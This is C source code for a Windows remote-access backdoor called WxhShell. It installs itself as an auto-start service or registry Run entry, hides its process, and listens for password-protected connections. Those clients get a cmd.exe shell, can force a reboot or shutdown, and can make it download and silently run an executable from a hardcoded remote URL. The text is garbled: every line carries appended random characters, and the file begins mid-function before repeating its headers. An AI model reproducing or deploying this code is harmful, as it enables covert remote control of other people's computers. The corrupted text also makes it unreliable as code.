    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cu)ssT  
    if(Boot(SHUTDOWN)) os<YfMM<:/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /E(319u_  
    else { mPhrMcL  
    closesocket(wsh); 2QU ZBrs s  
    ExitThread(0); bf#@YkE  
    } q#}#A@Rg  
    break; heLWVI[so  
    } x d9+P  
  // 获取shell hT c VMc  
  case 's': { gmFCjs  
    CmdShell(wsh); soSdlV{  
    closesocket(wsh); /iz{NulOz*  
    ExitThread(0); /Mac:;W`  
    break; 4<P=wK=a8X  
  } u1@&o9  
  // 退出 x:Mh&dq?  
  case 'x': { -o\o{?t,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xbZx&`(  
    CloseIt(wsh); pb>TUKvT&  
    break; 6oh\#v3zV  
    } r8]y1 Om<  
  // 离开 V5]}b[X  
  case 'q': { "4`i]vy8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5" 5tY  
    closesocket(wsh); %3"xn!'vf  
    WSACleanup(); k PuY[~i%  
    exit(1); \w;d4r8x  
    break; ;F)j,Ywi)H  
        } QJeL&mf  
  } LIm{Y`XU  
  } <FaF67[Q  
8XS_I{}?  
  // 提示信息 ](^$5Am  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H%`$@U>  
} 1R}rL#h;=  
  } 4Z'/dI`  
!c 3c%=W  
  return; ^`BiA'gPPC  
} NVt612/'7y  
EISgc {s  
// shell模块句柄 3I}(as{Rp  
int CmdShell(SOCKET sock) O~wZU Zf  
{ MKl`9 Y3Ge  
STARTUPINFO si; CtEpS<*c  
ZeroMemory(&si,sizeof(si)); TnuNoMD.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !+<OED=qe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c8@zpkMj/  
PROCESS_INFORMATION ProcessInfo; E:_m6 m  
char cmdline[]="cmd"; D'F j"&LK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1KHFzx,  
  return 0; \3WF-!xe  
} .el&\Jt  
:NHP,"  
// 自身启动模式 pm)kocG  
int StartFromService(void) Wqy\yS [  
{ 5c 8tH=  
typedef struct C i?BJ,  
{ E}YJGFB7"  
  DWORD ExitStatus; *VP-fyJp  
  DWORD PebBaseAddress; sf7~hN*  
  DWORD AffinityMask; Fj_6jsDb  
  DWORD BasePriority; )U2cS\k'7n  
  ULONG UniqueProcessId; 4V6^@   
  ULONG InheritedFromUniqueProcessId; ?QJS6i'k  
}   PROCESS_BASIC_INFORMATION; }|KNw*h $  
@zQ.d{  
PROCNTQSIP NtQueryInformationProcess; d ynq)lf  
g-4m.;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yA+ NRWWj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 88]4 GVi  
NZ|(#` X  
  HANDLE             hProcess; r bfIH":  
  PROCESS_BASIC_INFORMATION pbi; cs-wqxTX[$  
?W27 h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /s/\5-U7q  
  if(NULL == hInst ) return 0; |H .  
kWSei3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o0Z~9iF&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4\#b@1]}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C>MEgGP  
p%ve1>c  
  if (!NtQueryInformationProcess) return 0; VR'R7  
GR%h3HO2&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XCo3pB Wq~  
  if(!hProcess) return 0; :l;SG=scx  
w3<%wN>tE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0gIJ&h6*f  
?q*,,+'0  
  CloseHandle(hProcess); r;7&U<j~Z  
]ChGi[B~9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]%Db%A  
if(hProcess==NULL) return 0; :`Z'vRj  
4#MPD  
HMODULE hMod; ='[J.  
char procName[255]; lTR/o  
unsigned long cbNeeded; tCVaRP8eC+  
0etJ, _">  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e I^Q!b8n  
aioN)V  
  CloseHandle(hProcess);  BH<jnQ  
Dt ~3Qd0  
if(strstr(procName,"services")) return 1; // 以服务启动 rGqT[~{t  
]di^H>,xU  
  return 0; // 注册表启动 4WAs_~  
} ^*$lCUv8p  
Fr|Ts>Kx  
// 主模块 =>0 G  
int StartWxhshell(LPSTR lpCmdLine) W,D$=Bg  
{ )q8!:Z  
  SOCKET wsl; OL2 b  
BOOL val=TRUE; /[FES 78p  
  int port=0; myvn@OsEw  
  struct sockaddr_in door; 32S5Ai@Cd"  
m"|AD/2;(  
  if(wscfg.ws_autoins) Install(); o3ZqPk]al  
e.>>al  
port=atoi(lpCmdLine); ,|7!/]0&  
gm1 7VrC  
if(port<=0) port=wscfg.ws_port; N t-8[J  
!A|ayYBb\  
  WSADATA data;  %&81xAt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8 Buus  
`,7;2ZG~O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vNn$dc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dBeZx1Dy  
  door.sin_family = AF_INET; g,O3\jjQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jTh^#Q  
  door.sin_port = htons(port); g.:b\JE`  
kw$*o k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |'SgGg=E  
closesocket(wsl); b]oPx8*'  
return 1; r.vezsH  
} * ak"}s  
@&F\M}  
  if(listen(wsl,2) == INVALID_SOCKET) { T!ik"YZ@i  
closesocket(wsl); a{y"vVQOF  
return 1; gwQk M4  
} 4f-I,)qCBk  
  Wxhshell(wsl); O Bp&64  
  WSACleanup(); *S?vw'n  
abczW[\  
return 0; >&-" X# :  
}|-Yd"$  
} km=d'VvnI  
';J><z{>  
// 以NT服务方式启动 {sR|W:fS$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 79y'PFSms  
{ b'mp$lt!  
DWORD   status = 0; uupfL>h  
  DWORD   specificError = 0xfffffff; wQR0R~|M  
rl0|)j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N NTUl$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,^m;[Dl7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J12hjzk6@  
  serviceStatus.dwWin32ExitCode     = 0; g>&b&X&Y_  
  serviceStatus.dwServiceSpecificExitCode = 0; QP={b+8  
  serviceStatus.dwCheckPoint       = 0; yrCY-'%  
  serviceStatus.dwWaitHint       = 0; :h!&.FB  
;R4qE$u2^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bi<?m^j  
  if (hServiceStatusHandle==0) return; JXNfE,_  
 #-^y9B  
status = GetLastError(); ns}"[44C}l  
  if (status!=NO_ERROR) q*pWx]Y  
{ =e!o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x4e8;A(y  
    serviceStatus.dwCheckPoint       = 0; 4)OM58e}  
    serviceStatus.dwWaitHint       = 0; iO2%$Jw9\  
    serviceStatus.dwWin32ExitCode     = status; /t;Kn m  
    serviceStatus.dwServiceSpecificExitCode = specificError; >"%}x{|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BSc5@;  
    return; 7TaHE   
  } F =Zc_  
d :%!)s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3B6"T;_  
  serviceStatus.dwCheckPoint       = 0; <7X6ULQ  
  serviceStatus.dwWaitHint       = 0; m@#@7[6]o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |h{#r7H0  
} 9+"\7MHw  
mq!_/3  
// 处理NT服务事件,比如:启动、停止 Tu9[byfrI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +^tw@b  
{ q#|,4( Z  
switch(fdwControl) ]$xN`O4W{  
{ *(*3/P4D  
case SERVICE_CONTROL_STOP: c_+y~X)i  
  serviceStatus.dwWin32ExitCode = 0; RLL2'8"A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =c1t]%P,  
  serviceStatus.dwCheckPoint   = 0; 0f]LOg  
  serviceStatus.dwWaitHint     = 0; u''~nSR3&  
  { r-]HmY x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Eh8s(  
  } gsD0N^  
  return;  aa10vV  
case SERVICE_CONTROL_PAUSE: ^N2N>^'&1.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }3xZ`vX[T  
  break; %yJ $R2%*y  
case SERVICE_CONTROL_CONTINUE: 8Ug`2xS<_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +i1\],7  
  break; s"g"wh',  
case SERVICE_CONTROL_INTERROGATE: 0s+pcqOd^  
  break; Zyx92z9Y  
}; %@4/W  N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hq[RU&\  
} mok%TK  
U%)m [zAw  
// 标准应用程序主函数 * U#@M3g.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x O gUX6n  
{ {%cm;o[7o  
5Z@~d'D  
// 获取操作系统版本 'D1Sm&M2%e  
OsIsNt=GetOsVer(); 2ij/!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DTi\ 4&41  
hJIF!eoI  
  // 从命令行安装 u{>_Pb  
  if(strpbrk(lpCmdLine,"iI")) Install(); X1GpLy)p  
++ZtL\h{7  
  // 下载执行文件 6;^ e  
if(wscfg.ws_downexe) { zbM*/:Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BMlu>,  
  WinExec(wscfg.ws_filenam,SW_HIDE); Pcox~U/j  
} NIascee  
fNllF,8}  
if(!OsIsNt) { YLO/J2['  
// 如果时win9x,隐藏进程并且设置为注册表启动 g-cC&)0Q  
HideProc(); i rRe}  
StartWxhshell(lpCmdLine); e9e7_QG_-  
} $GcVI ;a  
else v *UJ4r  
  if(StartFromService()) LsGu-Y 5^  
  // 以服务方式启动 G"._]3 CPF  
  StartServiceCtrlDispatcher(DispatchTable); 1E'/!|  
else >QJfTkD$  
  // 普通方式启动 y7x[noGtR  
  StartWxhshell(lpCmdLine); gJv;{;%  
y5AJ1A6?E  
return 0; 8fI&-uP{g  
} cHO8%xu`  
|'bRVqJ  
fL7u419=  
sHwn,4|iY  
=========================================== i9FtS7  
5PXo1"n8T  
(b}}'  
=Lyo]8>,X  
Nr(3!-  
_/iw=-T  
" /Wqx@#  
jj&4Sv#>  
#include <stdio.h> FID4@--  
#include <string.h> O{F)|<L(G  
#include <windows.h> 7:>VH>?D  
#include <winsock2.h> [Q+qu>&HB7  
#include <winsvc.h> RaNz)]+7`  
#include <urlmon.h> O*d4zBT  
EE<^q?[3^  
#pragma comment (lib, "Ws2_32.lib") ^Nu0+S  
#pragma comment (lib, "urlmon.lib") \h&ui]V  
:1O1I2L0  
#define MAX_USER   100 // 最大客户端连接数 0-9.u`)#yu  
#define BUF_SOCK   200 // sock buffer Z;XiA<|  
#define KEY_BUFF   255 // 输入 buffer AvNU\$B4aG  
|y*-)t  
#define REBOOT     0   // 重启 ;& PK6G  
#define SHUTDOWN   1   // 关机 $^1L|KgXp  
 KOQ9K  
#define DEF_PORT   5000 // 监听端口 0D*uZ,oBEw  
eyLVu.  
#define REG_LEN     16   // 注册表键长度 +uY)MExs2  
#define SVC_LEN     80   // NT服务名长度 7?O~3  
s?2DLXv}!  
// 从dll定义API m@_m"1_;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lv* fK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V>2mz c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /#,3JU$w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C<?Huw4R0  
O!c b-  
// wxhshell配置信息 Qf}^x9'  
struct WSCFG { clwJ+kku@  
  int ws_port;         // 监听端口 w|uO)/v  
  char ws_passstr[REG_LEN]; // 口令 rq.S0bzH  
  int ws_autoins;       // 安装标记, 1=yes 0=no W"@FRWcd  
  char ws_regname[REG_LEN]; // 注册表键名 MGmUgc  
  char ws_svcname[REG_LEN]; // 服务名 N%,!&\L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5}/TB_W7j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |=Mn~`9p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NQD*8PGfj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Po: )b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BRx`83CK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,VM)ZK=Tr  
c&o|I4|Y,  
}; 3N ]  
)38M~/ ^l  
// default Wxhshell configuration us^2Oplq<  
struct WSCFG wscfg={DEF_PORT, N{f4-i~  
    "xuhuanlingzhe", t`XY Y  
    1, jb~/>I^1  
    "Wxhshell", H$/r{gfg^  
    "Wxhshell", h]#wwJF  
            "WxhShell Service", 7fOk]Yl[  
    "Wrsky Windows CmdShell Service", c<8RRYs  
    "Please Input Your Password: ", =7Wr  
  1, g`skmHS89  
  "http://www.wrsky.com/wxhshell.exe", r9a?Y!(  
  "Wxhshell.exe" t1I` n(]n  
    }; +6xEz67A<  
dUTF0U  
// 消息定义模块 06&:X^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cN{-&\ 6L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1f"LAs`%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZXf^HK  
char *msg_ws_ext="\n\rExit."; $1CAfSgKw  
char *msg_ws_end="\n\rQuit."; G(puC4 "&  
char *msg_ws_boot="\n\rReboot..."; =H F||p@  
char *msg_ws_poff="\n\rShutdown..."; {iv!A=jld  
char *msg_ws_down="\n\rSave to "; =DhzV D  
'5Zt B<  
char *msg_ws_err="\n\rErr!"; D&xb tJd  
char *msg_ws_ok="\n\rOK!"; u'?yc"d>#  
U*Hw t\  
char ExeFile[MAX_PATH]; `W8A *  
int nUser = 0; qGE?[\t[6  
HANDLE handles[MAX_USER]; )7e[o8O_6  
int OsIsNt; 9*@Kl`\  
-'tgr6=|w"  
SERVICE_STATUS       serviceStatus; #NAlje(7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N|,6<|  
39W6"^q"o  
// 函数声明 ?\QEK  
int Install(void); ~ "] 6  
int Uninstall(void); 8%UI<I,  
int DownloadFile(char *sURL, SOCKET wsh); 2[\I{<2/9  
int Boot(int flag); 7DU"QeLeb  
void HideProc(void); 3zO'=gwJ  
int GetOsVer(void); rf%E+bh4  
int Wxhshell(SOCKET wsl); ,Z7tpFC  
void TalkWithClient(void *cs); '~^3 =[Z  
int CmdShell(SOCKET sock); *j,5TO-j  
int StartFromService(void); g2=5IU<  
int StartWxhshell(LPSTR lpCmdLine); LDJ=<c!  
fR>(b?C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ldJ:A*/M6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V4RtH  
JZ[~3swR  
// 数据结构和表定义 QOECpk-  
SERVICE_TABLE_ENTRY DispatchTable[] = 3q=A35*LT>  
{ `};8   
{wscfg.ws_svcname, NTServiceMain}, 5N:THvh6o  
{NULL, NULL} L`yyn/2>  
}; D cN s`2  
G_wzUk=L  
// 自我安装 t} E 1NXW  
int Install(void) mW_<c,3D.  
{ /"t*gN=wrF  
  char svExeFile[MAX_PATH]; x,\PV>   
  HKEY key; a*}ZT,V  
  strcpy(svExeFile,ExeFile); GdqT4a\S  
oEHUb?(p  
// 如果是win9x系统,修改注册表设为自启动 NXv u}&H  
if(!OsIsNt) { bF88F_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mCtuR*z_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3N?WpA768/  
  RegCloseKey(key); FTtGiGd|Zy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *g^U=t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .)W'{2J-  
  RegCloseKey(key); lc%2Pi[X  
  return 0; 1*eWo~G  
    } _MZqH8  
  } @`N)`u85[  
} T4`.rnzyRb  
else { mAk@Q|u  
.1u"16_  
// 如果是NT以上系统,安装为系统服务 %y~=+Sm%m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Kq|L: Z  
if (schSCManager!=0) GM6Y`iU  
{ y ?FKou'  
  SC_HANDLE schService = CreateService %f.(^<G u  
  ( DRLX0Ml]\  
  schSCManager, $=f,z>j  
  wscfg.ws_svcname, 0kI.d X)  
  wscfg.ws_svcdisp, `J h> 1l  
  SERVICE_ALL_ACCESS, 6]dK,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8X`Gm!)  
  SERVICE_AUTO_START, L;=<d  
  SERVICE_ERROR_NORMAL, Gw6*0& 3')  
  svExeFile, u4L&8@  
  NULL, (]Z%&>*  
  NULL, `z$<1Q T  
  NULL, J9^RP~>bs  
  NULL, tI&Z!fj  
  NULL Oo<^~d2=  
  ); r"OVu~ND  
  if (schService!=0) *yqEl O  
  { [X.sCl|  
  CloseServiceHandle(schService); DfFsCTu  
  CloseServiceHandle(schSCManager); &eQF[8 ,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B Mh 949;  
  strcat(svExeFile,wscfg.ws_svcname); uh UC m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lHwQ'/r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d18%zY>  
  RegCloseKey(key); F/[vg  
  return 0; ^'=J'Q  
    } c+/SvRx^>  
  } NZ/>nNs  
  CloseServiceHandle(schSCManager); RsS?ibozl  
} SrfDl*  
} !o2lB^e8  
9g#L"T=  
return 1; rrei6$H&  
} F4i c^F{K  
4r!8_$fN?G  
// 自我卸载 ]3<k>?  
int Uninstall(void) _f%Wk>A4  
{ lH/d#MT   
  HKEY key; ajuwP1I  
YLSp$d4y  
if(!OsIsNt) { }E+}\&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >ZKE  
  RegDeleteValue(key,wscfg.ws_regname); xtyzy@)QL  
  RegCloseKey(key); *p{wC r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8Letpygm  
  RegDeleteValue(key,wscfg.ws_regname); WRQJ6B  
  RegCloseKey(key); Vd[[<  
  return 0; r{.DRbn  
  } >Liv].  
} -tWkN^j8+  
} ^1M:wX r  
else { XCO{}wU)>  
[^B04x@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _ 97  
if (schSCManager!=0) w? A&XB+  
{ yzt6   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xt@zP)6G  
  if (schService!=0) RQ# gn  
  { +rbj%v}Fh  
  if(DeleteService(schService)!=0) { |?0Cm|?  
  CloseServiceHandle(schService); A,rgN;5fb  
  CloseServiceHandle(schSCManager); 2-i>ymoOS  
  return 0; ]Kb  
  } 3!^5a %u  
  CloseServiceHandle(schService); ?fDF Rms  
  } a?CV;9   
  CloseServiceHandle(schSCManager); s8 .OL_e  
} LbDhPG`u  
} @a) x^d  
|D%i3@P&ZR  
return 1; !.mMO_4}  
} .v G_\-@  
~M%r.WFpA  
// 从指定url下载文件 ,2vPmff  
int DownloadFile(char *sURL, SOCKET wsh) stz1e dP  
{ ymSGB`CP  
  HRESULT hr; P]-d (N}/H  
char seps[]= "/"; VZ{aET!  
char *token; j8?z@iG  
char *file; 3!&lio+<  
char myURL[MAX_PATH]; ;=1]h&S  
char myFILE[MAX_PATH]; t0p^0   
=]yJvn"  
strcpy(myURL,sURL); Q4r)TR,  
  token=strtok(myURL,seps); MCU{@ \?Xf  
  while(token!=NULL) Fku9hB  
  { 9:CJl6~N)#  
    file=token; |i5A F\w  
  token=strtok(NULL,seps); nC^?6il  
  }  Ok[y3S  
GEXT8f(7  
GetCurrentDirectory(MAX_PATH,myFILE); P9v N5|"M  
strcat(myFILE, "\\"); Z3Os9X9p  
strcat(myFILE, file); Se qnO.\  
  send(wsh,myFILE,strlen(myFILE),0); ^?(A|krFg  
send(wsh,"...",3,0); q05_5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b5_(Fv  
  if(hr==S_OK) 8 ZD1}58U4  
return 0; g![]R-$  
else AxLnF(eG  
return 1; 4;W eB   
{4Cn/}7Ly^  
} kPF[E5  
&}31q`  
// 系统电源模块 ~M`QFF  
int Boot(int flag) &=5  
{ -8; ,#  
  HANDLE hToken; 1tU}}l  
  TOKEN_PRIVILEGES tkp; *_}|EuY  
8;/`uB:zV  
  if(OsIsNt) { gE]) z*tqX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tpj({   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x;89lHy@e  
    tkp.PrivilegeCount = 1; o&)O&bNJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {;]:}nA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Es6b~ #  
if(flag==REBOOT) { c%w@-n`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DesvnV'{`  
  return 0; aN{C86wx  
} y-O# +{7  
else { 1[o] u:m9U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n}PK0  
  return 0; {C Qo}@.7  
} He="S3XON  
  } '$*d:1  
  else { V*xT5TljS-  
if(flag==REBOOT) { |rkj$s,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iJuh1+6:c9  
  return 0; K-F@OSK'  
} ,A9pj k'  
else { Ps5UX6\ .m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZYZQ?FN  
  return 0; h[72iVn  
} I <`9ANe  
} AYHB?xOpR  
o-2FGM`*VB  
return 1; 4 F~e3  
} ]YYjXg}%  
@@K@;Jox  
// win9x进程隐藏模块 `X]TIMc:Ad  
void HideProc(void) aG;6^$H~  
{ ) \Mwv&k1  
K[Bq,nPo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pZp|F  
  if ( hKernel != NULL ) qW[p .jN  
  { XH&Fn+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3>qUYxG8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cGiS[-g  
    FreeLibrary(hKernel); jca7Cx`sm  
  } Y\luz`v  
&n+3^JNl  
return; j%Mz;m4y  
} P]gksts9f.  
}yCJ#}  
// 获取操作系统版本 vAi NOpz#  
int GetOsVer(void) J&%vBg^  
{ E"!C3SC [  
  OSVERSIONINFO winfo; 'gd3 w~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R[ p. )F7  
  GetVersionEx(&winfo); itb0dF1G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I9P< !#q>  
  return 1; 6r"uDV #0  
  else r1&b#r>  
  return 0; -]c5**O}  
} l^4[;%*f#l  
k.? aq  
// 客户端句柄模块 wOQ-sp0q0  
int Wxhshell(SOCKET wsl) z)"7qqA  
{ dO.?S89L  
  SOCKET wsh; cY?< W/  
  struct sockaddr_in client; '(A)^K>+  
  DWORD myID; T0n=nC}<  
%\#s@8=2u  
  while(nUser<MAX_USER) nB2AmS  
{ :UMg5eZ  
  int nSize=sizeof(client); *%_:[>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); > ^fY`x,  
  if(wsh==INVALID_SOCKET) return 1; R< @o]p  
L'=2Uk#.D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?P4@U9i  
if(handles[nUser]==0) -IhFPjQ  
  closesocket(wsh); +%(iGI{  
else c7T9kV 8hS  
  nUser++; Gb+cT  
  } $,"{g<*k;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3`_jNPV1  
bf2R15|t5`  
  return 0; xExy?5H7  
} -dbD&8  
[tDUR  
// 关闭 socket % INRds  
void CloseIt(SOCKET wsh)  b<v\  
{ 2zR*`9$  
closesocket(wsh); J7X-=E D  
nUser--; 1 Y_e1tgmm  
ExitThread(0); =$601r  
} p%e! &:!  
S W(h%`U  
// 客户端请求句柄 0-cqux2U  
void TalkWithClient(void *cs) KpBh@S  
{ -e7|DXj  
Knsb`1"E^6  
  SOCKET wsh=(SOCKET)cs; b9%}< w  
  char pwd[SVC_LEN]; Pm; /Ua  
  char cmd[KEY_BUFF]; O @fX +W?U  
char chr[1]; ,GEMc a,`  
int i,j; Ti`<,TA54  
GXB4&Q!C  
  while (nUser < MAX_USER) { RL/~E xYC  
BX$t |t;!m  
if(wscfg.ws_passstr) { Y W_E,A>h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bep}|8,#u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M>J8J*  
  //ZeroMemory(pwd,KEY_BUFF); Ge$cV}  
      i=0; ;AKtb S;H  
  while(i<SVC_LEN) { |8}f  
,}F2l|x_  
  // 设置超时 *FDz20S  
  fd_set FdRead; QxvxeK!Y  
  struct timeval TimeOut; ut%t`Y( ]  
  FD_ZERO(&FdRead); p3O%|)yV  
  FD_SET(wsh,&FdRead); o>#<c @  
  TimeOut.tv_sec=8; zMb7a_W  
  TimeOut.tv_usec=0; 6'ye-}vD-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o+{}O_r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ep<Ad  
vai.",b=n6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {;^boo q  
  pwd=chr[0]; Us.yKAHPV  
  if(chr[0]==0xd || chr[0]==0xa) { `Yp\.K z  
  pwd=0; ERQ a,h/  
  break; D4'"GaCv  
  } mtuq  
  i++; g(<02t!OT=  
    } m3XL;1y:a  
B#o(21s  
  // 如果是非法用户,关闭 socket kH*l83  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V[,/Hw~d%  
} WpC@ nz?  
3P Twpq1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "lLt=s2>L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zNRoFz.  
lqA U5K{wQ  
while(1) { K1uN(T.Ju  
6,M>'s,N  
  ZeroMemory(cmd,KEY_BUFF); ==(9P`\  
7|PpAvMF  
      // 自动支持客户端 telnet标准   nS[0g^}  
  j=0; b_ Sh#d&  
  while(j<KEY_BUFF) { 0TU~Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uoFH{.)  
  cmd[j]=chr[0]; #/sKb2eQ  
  if(chr[0]==0xa || chr[0]==0xd) { u,[Yaw"L  
  cmd[j]=0; )/2* <jr  
  break; jo=XxA  
  } y=YD4m2W  
  j++; &Th/Qv}[  
    } td4*+)'FY  
!JUXq  
  // 下载文件 $/,qw   
  if(strstr(cmd,"http://")) { F0:Fv;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '[JrP<~^o  
  if(DownloadFile(cmd,wsh)) "[@-p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7;Km J}$  
  else ',8]vWsl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); isHa4 D0  
  } W-=~Afy  
  else { u(02{V  
m}6GVQ'Q  
    switch(cmd[0]) { r S/Q  
